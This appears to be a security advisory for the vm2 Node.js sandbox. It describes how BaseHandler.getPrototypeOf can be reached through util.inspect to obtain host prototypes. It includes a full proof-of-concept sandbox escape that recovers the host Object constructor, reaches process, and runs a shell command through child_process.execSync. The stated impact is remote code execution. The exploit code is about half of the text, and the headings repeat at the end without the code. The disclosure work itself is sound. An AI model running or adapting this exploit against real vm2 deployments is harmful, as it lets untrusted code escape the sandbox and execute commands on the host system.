Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
|
getPrototypeOf(target) { |
|
// Note: target@this(unsafe) |
|
return thisReflectGetPrototypeOf(target); |
|
} |
BaseHandler can be reached via util.inspect (same as 57971fa)
PoC
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
Summary
It is possible to reach
BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypesDetails
vm2/lib/bridge.js
Lines 655 to 658 in 408fc85
BaseHandlercan be reached viautil.inspect(same as 57971fa)PoC
Impact
Sandbox Escape -> RCE